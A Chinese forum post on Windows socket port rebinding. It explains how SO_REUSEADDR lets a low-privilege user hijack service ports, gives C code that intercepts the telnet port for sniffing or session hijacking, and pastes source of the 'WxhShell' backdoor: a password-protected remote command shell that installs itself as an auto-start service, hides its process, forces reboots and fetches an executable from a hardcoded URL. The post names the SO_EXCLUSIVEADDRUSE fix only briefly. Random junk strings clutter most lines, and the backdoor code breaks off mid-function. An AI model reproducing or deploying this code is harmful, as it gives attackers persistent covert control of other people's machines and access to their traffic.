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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: m?'5*\(ST  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6#T?g7\pyR  
p|,K2^?Y  
  saddr.sin_family = AF_INET; [6V'UI6  
><"5 VwR  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); K~<pD:s  
=x> z|1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1)?^N`xF  
{k1s@KXtd  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @I\Z2-J  
jz't!wj  
  这意味着什么?意味着可以进行如下的攻击: t!c8 c^HR  
aQCbRS6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vY *p][$  
n} GIf&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :>nk63V (  
ioi0^aM  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "M v%M2'c  
[P OcO  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  YP>VC(f   
&YO5N4X~o  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v|VY5vN  
EhEn|%S  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ABNsi$]r0  
^8.R 'Yq  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (6u<w#u  
}!0,(<EsV  
  #include eM/|"^%  
  #include $Bz|[=  
  #include |O\(<n S  
  #include    4en&EWUr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   LoOyqJ,  
  int main() ^%M!!wlUH  
  { zF;}b3oIo  
  WORD wVersionRequested; ~Cks)mJs  
  DWORD ret; ?@|1>epgd  
  WSADATA wsaData; 'gUHy1p  
  BOOL val; sa#=#0yg  
  SOCKADDR_IN saddr; miuJ!Kr'  
  SOCKADDR_IN scaddr; dmP*2  
  int err; XT{1!I(  
  SOCKET s; a&#Z=WK4  
  SOCKET sc; 20^F -,z  
  int caddsize; ^>GL<1 1  
  HANDLE mt; <^R\N#  
  DWORD tid;   ;Bc f~[ErM  
  wVersionRequested = MAKEWORD( 2, 2 ); (z2)<_bXJ  
  err = WSAStartup( wVersionRequested, &wsaData ); rMe` HM@  
  if ( err != 0 ) { (S5'iks x  
  printf("error!WSAStartup failed!\n"); }w8h^(+B  
  return -1; }O2hhh_  
  } O~{Zs\u9  
  saddr.sin_family = AF_INET; 4 E 4o=Z|K  
   > m}.}g8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7*'_&0   
:b=`sUn<X+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); s7FqE>#c0  
  saddr.sin_port = htons(23); n+zXt?{u  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TnM}|~V  
  { +/\.%S/  
  printf("error!socket failed!\n"); =!U{vT  
  return -1; \5s!lv*&  
  } X%`8h _  
  val = TRUE; ?aSL'GI  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 jt3s;U*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) AKa{C f  
  { p*Q"<@n  
  printf("error!setsockopt failed!\n"); v bb mmv  
  return -1; JB+pd_>5  
  } >%#J8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Bq R;d  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `E!t,*(*E  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w$Dp m.0(  
q n=6>wP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =C`v+NPM)|  
  { bXJ,L$q  
  ret=GetLastError(); F{l,Tl"Jw  
  printf("error!bind failed!\n"); \hi{r@k>}  
  return -1; }{iR+M X  
  } {zVJlJKxs  
  listen(s,2); *ZN"+ wf\  
  while(1) CXUNdB  
  { ,wX/cUyZ  
  caddsize = sizeof(scaddr); i.F[.-.  
  //接受连接请求 ReSP)%oW  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k9}im  
  if(sc!=INVALID_SOCKET) tp5]n`3rD  
  { c%xxsq2n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q".l:T%|C}  
  if(mt==NULL) (B$2)yZY  
  { e#_xDR:  
  printf("Thread Creat Failed!\n"); Bct>EWQ  
  break; L x9`y t6  
  }  .':SD{  
  } _9L2JN$R6  
  CloseHandle(mt); :&_@U$  
  } Xj !0jF33  
  closesocket(s); CuuHRvU8  
  WSACleanup(); : FxZdE  
  return 0; :M=!MgD3w  
  }   `uzRHbJ`  
  DWORD WINAPI ClientThread(LPVOID lpParam) kx'6FkZPIr  
  { )K5~r>n&  
  SOCKET ss = (SOCKET)lpParam; u;=("S{"0  
  SOCKET sc; <#`<Ys3b*!  
  unsigned char buf[4096]; PicO3m  
  SOCKADDR_IN saddr; UK _2i(I"e  
  long num; @Chj0wWZ>  
  DWORD val; YjHGdacs  
  DWORD ret; -$e\m] }Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =q6yb@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^]aDLjD  
  saddr.sin_family = AF_INET; T \0e8"iZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); N4HnW0  
  saddr.sin_port = htons(23); Zqx5I~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4[Oy3.-c  
  { `0 .5aa  
  printf("error!socket failed!\n"); [bGdg  
  return -1; Q^mJ_~  
  } hTg%T#m  
  val = 100; DVpqm6$ Q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]^ j)4us  
  { Dm4\Rld{  
  ret = GetLastError(); 8dL(cC  
  return -1; !sR`]0  
  } E; RI.6y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +j`*?pPD(.  
  { A>d*<#x  
  ret = GetLastError(); NINyg"g<  
  return -1; I}?fy\1A&  
  }  p&ZD1qa  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :T'"%_d5  
  {  Rl 6E  
  printf("error!socket connect failed!\n"); lW>bX C  
  closesocket(sc); a nIdCOh  
  closesocket(ss); |@d7o]eM|  
  return -1; <Pf W  
  } uV%7|/fD  
  while(1) m _:ib}  
  { D$ `yxc  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 M4')gG;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !JrVh$K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qU=$ 0M  
  num = recv(ss,buf,4096,0); F;MFw2G  
  if(num>0) S{ *RF)  
  send(sc,buf,num,0); q$H'u[KQ06  
  else if(num==0) iLS' 47  
  break; nq_sbli  
  num = recv(sc,buf,4096,0); L TO1LAac  
  if(num>0) X0 %k`3  
  send(ss,buf,num,0); 8[zP2L!-  
  else if(num==0) }0f[x ?V  
  break; &LYU#$sj  
  } ^iTjr$hQ;  
  closesocket(ss); Zkxt>%20~  
  closesocket(sc); *+Q,b^N  
  return 0 ; U24?+/5D]  
  } Zx`hutCv  
Ym!Ia&n  
e `_ [+y  
========================================================== FtY*I&  
yNI} =Z  
下边附上一个代码,,WXhSHELL >Wy@J]Y#  
IURi90Ir  
========================================================== =DF7l<&km  
[n66ZY#U]  
#include "stdafx.h" +KD~/}C%-  
4d6F4G4U  
#include <stdio.h> = u73AM}  
#include <string.h> Pk*EnA)  
#include <windows.h> 5z#>>|1>#  
#include <winsock2.h> -*tP_=-Dg  
#include <winsvc.h> J^1w& 40  
#include <urlmon.h> 9Y*6AaKE6  
pspV~9,  
#pragma comment (lib, "Ws2_32.lib") ^V>sNR  
#pragma comment (lib, "urlmon.lib") 3QGg;  
|QxDjL<&t4  
#define MAX_USER   100 // 最大客户端连接数 G?8,&jP~T  
#define BUF_SOCK   200 // sock buffer CXJ0N   
#define KEY_BUFF   255 // 输入 buffer })s s.  
J}<k`af  
#define REBOOT     0   // 重启 .cle^P  
#define SHUTDOWN   1   // 关机 )LH nDx  
"1`c^  
#define DEF_PORT   5000 // 监听端口 _RjM .  
'<8ewU  
#define REG_LEN     16   // 注册表键长度 9I9J}&4  
#define SVC_LEN     80   // NT服务名长度 /t ,ujTK  
ly6?jVJ  
// 从dll定义API b ~v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q{mls  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f'R^MX2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~@L$}Eu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PZH]9[H  
[)9bR1wh  
// wxhshell配置信息 Dth<hS,2J  
struct WSCFG { ^=Up U B  
  int ws_port;         // 监听端口 7uxy<#Ar  
  char ws_passstr[REG_LEN]; // 口令 l=bB,7gL  
  int ws_autoins;       // 安装标记, 1=yes 0=no J;'?(xO3\  
  char ws_regname[REG_LEN]; // 注册表键名 sx(yG9  
  char ws_svcname[REG_LEN]; // 服务名 %VSST?aUvX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !]5F2~"v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g4%x7#vz0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &87D.Yy^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jskATA /  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '{U56^b]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d) G7U$z~  
4$ejJaE  
}; "hpK8vQ  
m5f/vb4l  
// default Wxhshell configuration A-.jv  
struct WSCFG wscfg={DEF_PORT, [4( TG<I  
    "xuhuanlingzhe", v@"xEf1n[  
    1,  3]<$;[Q  
    "Wxhshell", 0(-'L\<>x  
    "Wxhshell", Qh)@-r3  
            "WxhShell Service", <@5#  
    "Wrsky Windows CmdShell Service", r~TiJ?8I  
    "Please Input Your Password: ", hGD7/qTN  
  1, ':F{st>&H  
  "http://www.wrsky.com/wxhshell.exe", *1}9`$  
  "Wxhshell.exe" 4d9i AN  
    }; .U9NQwd  
$7M64K{  
// 消息定义模块 (!{_O_&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /gXli)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; . |KxQn}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -twIF49  
char *msg_ws_ext="\n\rExit."; GVn7#0x  
char *msg_ws_end="\n\rQuit."; ,GZ(>|  
char *msg_ws_boot="\n\rReboot..."; yq\)8Fe  
char *msg_ws_poff="\n\rShutdown..."; %=\h=\wt  
char *msg_ws_down="\n\rSave to "; L{'qZ#N[  
>0:h(,?V  
char *msg_ws_err="\n\rErr!"; 4$d|}ajH  
char *msg_ws_ok="\n\rOK!"; d/Fjs0pt  
%^gT.DsX-  
char ExeFile[MAX_PATH]; BJ~Q\Si6  
int nUser = 0; ~F>oNbJIv  
HANDLE handles[MAX_USER]; kzgH p,;R{  
int OsIsNt; )v8;\1`s:  
0O"GI33Mg  
SERVICE_STATUS       serviceStatus; c3i|q@ k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e +4p__TmZ  
^/mQo`[G  
// 函数声明 LQNu]2  
int Install(void); m7^a4  
int Uninstall(void); g|e^}voRM  
int DownloadFile(char *sURL, SOCKET wsh); `=b*g24z[N  
int Boot(int flag); NZ9`8&93  
void HideProc(void); J'^BxN&  
int GetOsVer(void); SM! [ yC  
int Wxhshell(SOCKET wsl); F)5QpDmqb  
void TalkWithClient(void *cs); #=Q/<r.~G  
int CmdShell(SOCKET sock);  QH9(l  
int StartFromService(void); 2P@>H_JFF  
int StartWxhshell(LPSTR lpCmdLine); FhAuTZk  
c*MjBAq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FbW kT4t|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |PDuvv!.f  
hFj.d]S  
// 数据结构和表定义 j$&k;S  
SERVICE_TABLE_ENTRY DispatchTable[] = 9BNAj-Xa  
{ [WX+/pm7>  
{wscfg.ws_svcname, NTServiceMain}, noh3mi  
{NULL, NULL} tNmH*"wR<  
}; B;hc|v{(  
0%`\ 8  
// 自我安装 f9&D0x?  
int Install(void) Mwp#.du(  
{ xgsD<3  
  char svExeFile[MAX_PATH]; bq<QUw=]q&  
  HKEY key; "p2 $R*ie  
  strcpy(svExeFile,ExeFile); v#YO3nD  
1}KNzMHk9  
// 如果是win9x系统,修改注册表设为自启动 H&3VPag  
if(!OsIsNt) { _Vj O [hx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :[|`&_D9J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^?&Jq_oU  
  RegCloseKey(key); :]=Y1*L\)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )|uPCZdLZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I2YQIY+  
  RegCloseKey(key); J>] ' {!+  
  return 0; >xJt&jW-  
    } m$pXe<  
  } @\u)k  
} %jKR\f G  
else { @Eqc&v!O  
g%1!YvS3v  
// 如果是NT以上系统,安装为系统服务 91mXvQ:u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #x)G2T'?  
if (schSCManager!=0) V{ra,a*  
{ H<X4R  
  SC_HANDLE schService = CreateService P}DrUND  
  ( L1P]T4a@)  
  schSCManager, _ CXKJ]m4  
  wscfg.ws_svcname, ~W%A8`9  
  wscfg.ws_svcdisp, Wy)|-Q7  
  SERVICE_ALL_ACCESS, 1fViW^l_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kh^AH6{2  
  SERVICE_AUTO_START, }1z= C<  
  SERVICE_ERROR_NORMAL, <)?H98S  
  svExeFile, 7{8!IcR #  
  NULL, eem.lVVD  
  NULL, @bfaAh~   
  NULL, tvf"w`H  
  NULL, x #BUIi  
  NULL N!9DZEcm  
  ); ^dYFFKQ  
  if (schService!=0) ZJ=-cE2n  
  { |K aXek  
  CloseServiceHandle(schService); 2Z7smDJ  
  CloseServiceHandle(schSCManager); JNuo+Pq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f ,K1a9.  
  strcat(svExeFile,wscfg.ws_svcname); xf% ,UQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @hQ+pG@s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q+WOnTS  
  RegCloseKey(key);  ZMg%/C  
  return 0; TLPy/,  
    } J j yQ  
  } { tim{nV  
  CloseServiceHandle(schSCManager); XMa(XOnX  
} gigDrf}  
} >(`|oD`,Y  
i3rvD ch  
return 1; =f.f%g6  
} (.<Gde#  
X~]eQaJ  
// 自我卸载 -58r* [=8  
int Uninstall(void) u;h9Ra1  
{ = Ky1v$<  
  HKEY key; P.&,nFIg3  
!COaPrg  
if(!OsIsNt) { s/`4]B;2U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k-b_ <Tbo|  
  RegDeleteValue(key,wscfg.ws_regname); q<,?:g$k  
  RegCloseKey(key); Fr/8q:m &  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kx]f`b  
  RegDeleteValue(key,wscfg.ws_regname); a!Z,~ V8  
  RegCloseKey(key); .6(Bf$E  
  return 0; ?n?Ep[D  
  } l OI(+74  
} 8 x|NR?  
} Vnv<]D zC  
else { p9oru0q  
e9k}n\t3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2ZNTg@o  
if (schSCManager!=0) 0 (@8   
{ MfCu\[qOz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [<`xAh_,  
  if (schService!=0) v;?t=}NwF  
  { YpL{c*M  
  if(DeleteService(schService)!=0) { |+cyb<(V J  
  CloseServiceHandle(schService); < ynm A  
  CloseServiceHandle(schSCManager); /D 2v 1  
  return 0; YOP=gvZq  
  } i. `S0  
  CloseServiceHandle(schService); N@?Fpmu/k  
  } `"A\8)6-  
  CloseServiceHandle(schSCManager); ]Ny.  gu  
} x4.-7%VV%  
} nDui9C  
YU M%3  
return 1; 2ai \("?  
} S>*i^If  
i?4vdL8M  
// 从指定url下载文件 c .KpXY  
int DownloadFile(char *sURL, SOCKET wsh) VSmshld  
{ #E{OOcM  
  HRESULT hr; Eq~&d.j  
char seps[]= "/"; 4K[U*-\"  
char *token; ,Z&"@g  
char *file; M!!W>A@T[g  
char myURL[MAX_PATH]; e u^z&R!um  
char myFILE[MAX_PATH]; l'B`f)  
QmT]~4PqS  
strcpy(myURL,sURL); 5<,}^4wWZ  
  token=strtok(myURL,seps); :E@"4O?<Y)  
  while(token!=NULL) C Ij3D"  
  { 1 /7H` O?  
    file=token; )Qp?N<&'  
  token=strtok(NULL,seps); @e$z Ej5  
  } !;zacw  
224I%x.,  
GetCurrentDirectory(MAX_PATH,myFILE); {j ${i  
strcat(myFILE, "\\"); ,K3)f.ArYc  
strcat(myFILE, file); G/N'8Q)  
  send(wsh,myFILE,strlen(myFILE),0); 5s;HF |2x  
send(wsh,"...",3,0); ^|>vK,q$I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3~a!h3.f  
  if(hr==S_OK) J@p[v3W  
return 0; /NMd GKr  
else 0&2TeqsLh)  
return 1; MFiX8zwhx+  
|v[{k>7f  
} % 89f<F\V  
;}=v|Dr&I.  
// 系统电源模块 A4Q8^^byY  
int Boot(int flag) **fJAANc  
{ cl^wLC'o  
  HANDLE hToken; <M7@JgC &  
  TOKEN_PRIVILEGES tkp; EAj2uV  
^qS[2Dy  
  if(OsIsNt) { T$0//7$')  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,]y)Dy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0rsdDME[  
    tkp.PrivilegeCount = 1; R l^ENrv!]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3oE *86  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); najd~%?Rs  
if(flag==REBOOT) { v?-pAA)ht  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m~(]\  
  return 0; Rkw)IdB  
} aOyAP-m,  
else { -81usu&NH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O292JA  
  return 0; V78QV3  
} O}Fp\"  
  } 1EyM,$On  
  else { [-{L@  
if(flag==REBOOT) { F?T3fINR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4WzB=C(f  
  return 0; )+u|qT3%  
} CmY'[rI  
else { RUlM""@b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "  F~uTo  
  return 0; C.}Z5BwS  
} ZiSy&r:(  
} kQsyvE  
dAm( uJ  
return 1; LXJ"ct  
} 6f\0YU<C&  
CJ {?9z@$.  
// win9x进程隐藏模块 :PY~Cws  
void HideProc(void) qyP@[8eH  
{ TStu)6%`  
TsfOod   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P%ev8]2  
  if ( hKernel != NULL ) #J\ 2/~  
  { ++5W_Ooep  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N$6Rg1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6}K|eUak/  
    FreeLibrary(hKernel); WG1Uv PK  
  } cCw?%qq,L  
YaFQy0t%/5  
return; ])7t!<  
} [`6|~E"F  
k8GcHqNHx  
// 获取操作系统版本 :@`Ll;G  
int GetOsVer(void) z<m,Xj4w  
{ [6FCbzS_W  
  OSVERSIONINFO winfo; u;F++$=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &g\D-At  
  GetVersionEx(&winfo); =L#tSa=M"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <DvpqlT  
  return 1; <q~&g &&+  
  else )67Kd]  
  return 0; Hh(_sewo  
} /=FQ {tLr  
zX"@QB3E  
// 客户端句柄模块 DHaSBk  
int Wxhshell(SOCKET wsl) HZ>Xm6DnC5  
{ +s V$s]U  
  SOCKET wsh; R1! {,*Gy  
  struct sockaddr_in client; V=H87 ^b  
  DWORD myID; sc@v\J;k  
s~6?p% 2]  
  while(nUser<MAX_USER) xzyV| (  
{ 5dXC  
  int nSize=sizeof(client); EZ8Ih,j9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W&A22jO.1  
  if(wsh==INVALID_SOCKET) return 1; bO>Mvf  
3R !Mfz*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V/.Y]dN5  
if(handles[nUser]==0) E@}t1!E<  
  closesocket(wsh); 5$`i)}:s  
else #6 e  
  nUser++; `|8)A)ZVT  
  } u#/Y<1gn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %F3M\)jU  
%A,4vLe~6  
  return 0; JcvWE $  
} %t([  
0vqXLFf   
// 关闭 socket pfe9 n[  
void CloseIt(SOCKET wsh) C o4QWyt:  
{ _ncqd,&z  
closesocket(wsh); R Q X  
nUser--; nBgksB*A  
ExitThread(0); ?}D@{%O3T  
} )Jz L  
aW$sd)  
// 客户端请求句柄 a<kx95  
void TalkWithClient(void *cs) .8<bz4  
{ V44IA[  
w6F4o;<PR  
  SOCKET wsh=(SOCKET)cs; q=M!YWz  
  char pwd[SVC_LEN]; iN %kF'&9  
  char cmd[KEY_BUFF]; ~gNa<tg"1  
char chr[1]; )V*Z|,#no  
int i,j; ULIbVy7Y  
frWw-<HoI  
  while (nUser < MAX_USER) { 4N[8LC;MH  
q~^Jd=cB\  
if(wscfg.ws_passstr) { bJ*jJl x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GPy+\P`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nbj&3z,  
  //ZeroMemory(pwd,KEY_BUFF); VC:.ya|Z  
      i=0; T$U,rOB"  
  while(i<SVC_LEN) { 5}x^0 LY  
wN-3@  
  // 设置超时 R*`A',]:9  
  fd_set FdRead; i(Cd#1<  
  struct timeval TimeOut; B<SuNbR  
  FD_ZERO(&FdRead); )[|`-M~u  
  FD_SET(wsh,&FdRead); Smzy EMT  
  TimeOut.tv_sec=8; Vahfz8~w/  
  TimeOut.tv_usec=0; %a{$M{s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f wWI2"}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `PXSQf  
f }PT3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ftw\oGrS  
  pwd=chr[0]; hF"yxucj$  
  if(chr[0]==0xd || chr[0]==0xa) { D4g$x'  
  pwd=0; y*0bHzJ  
  break; .E-)R  
  } =B@owx  
  i++; k_ 9gMO  
    } +@ga  
eGwrSF#a)  
  // 如果是非法用户,关闭 socket 9^h0D}#@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9YS&RBJu  
} &x =}m  
R#.FfWTZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >T[1=;o]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PE4#dx^  
:8cp]v dW  
while(1) { WI/&r5rq   
?B3   
  ZeroMemory(cmd,KEY_BUFF); P!q! +g  
|j($2.  
      // 自动支持客户端 telnet标准   }SIUsh'  
  j=0; h W\q  
  while(j<KEY_BUFF) { @iWql*K;m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8Ux3,X=  
  cmd[j]=chr[0]; 'B ocMjRA  
  if(chr[0]==0xa || chr[0]==0xd) { 3e+ Ih2  
  cmd[j]=0; )F Q '^  
  break; B~K@o.%  
  } 1|_jV7`Mz  
  j++; jHBzZ!<  
    } r8x<- u4  
2{:bv~*I0F  
  // 下载文件 Hg(%g T  
  if(strstr(cmd,"http://")) { 0\*[7!`s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sDA&U9;  
  if(DownloadFile(cmd,wsh)) .\K0+b;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #/a>dK  
  else 4jMC E&<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3@P 2]Q~D  
  } xp<\7m_N  
  else { CBz$N)f  
Qxr&zT7f  
    switch(cmd[0]) { #\U;,r  
  wN'Q\l+  
  // 帮助 ?.Z4GWyXa  
  case '?': { mxUM&`[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Khp`KPxz%  
    break; .21[3.bp/q  
  } |zhVl  
  // 安装 ;LSdY}*%0  
  case 'i': { R+ #(\  
    if(Install()) {+r0Nikx_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?hu}wl)  
    else s @\UZ C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0h^&`H:  
    break; '}3@D$YiM%  
    } oRmz'F  
  // 卸载 =g)|g+[H  
  case 'r': { K'z|a{ru.{  
    if(Uninstall()) #Duz|F+%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SKO*x^"eU  
    else ,?s3%<\2   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $*a'[Qot#  
    break; 80=6B  
    } (ns> z7  
  // 显示 wxhshell 所在路径 do0;"O0 (  
  case 'p': { 5R"My^G  
    char svExeFile[MAX_PATH]; 2w6 y  
    strcpy(svExeFile,"\n\r"); ~Iw7Xq E2  
      strcat(svExeFile,ExeFile); &+]x  
        send(wsh,svExeFile,strlen(svExeFile),0); rBR,lS$4  
    break; eaSf[!24"  
    } GddP)l{uCF  
  // 重启 gYb}<[O!  
  case 'b': { t*X k'(v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B^Z %38o  
    if(Boot(REBOOT)) V}de|=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5>{  
    else { cZ>h[XX[  
    closesocket(wsh); o9&&u1`M/  
    ExitThread(0); &,~0*&r0  
    } P")duv  
    break; %^1@c f?.  
    } (<y~]igy  
  // 关机 \Eqxmo  
  case 'd': { , H$1iJ?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *htv:Sr  
    if(Boot(SHUTDOWN)) ,|RS]I>X  
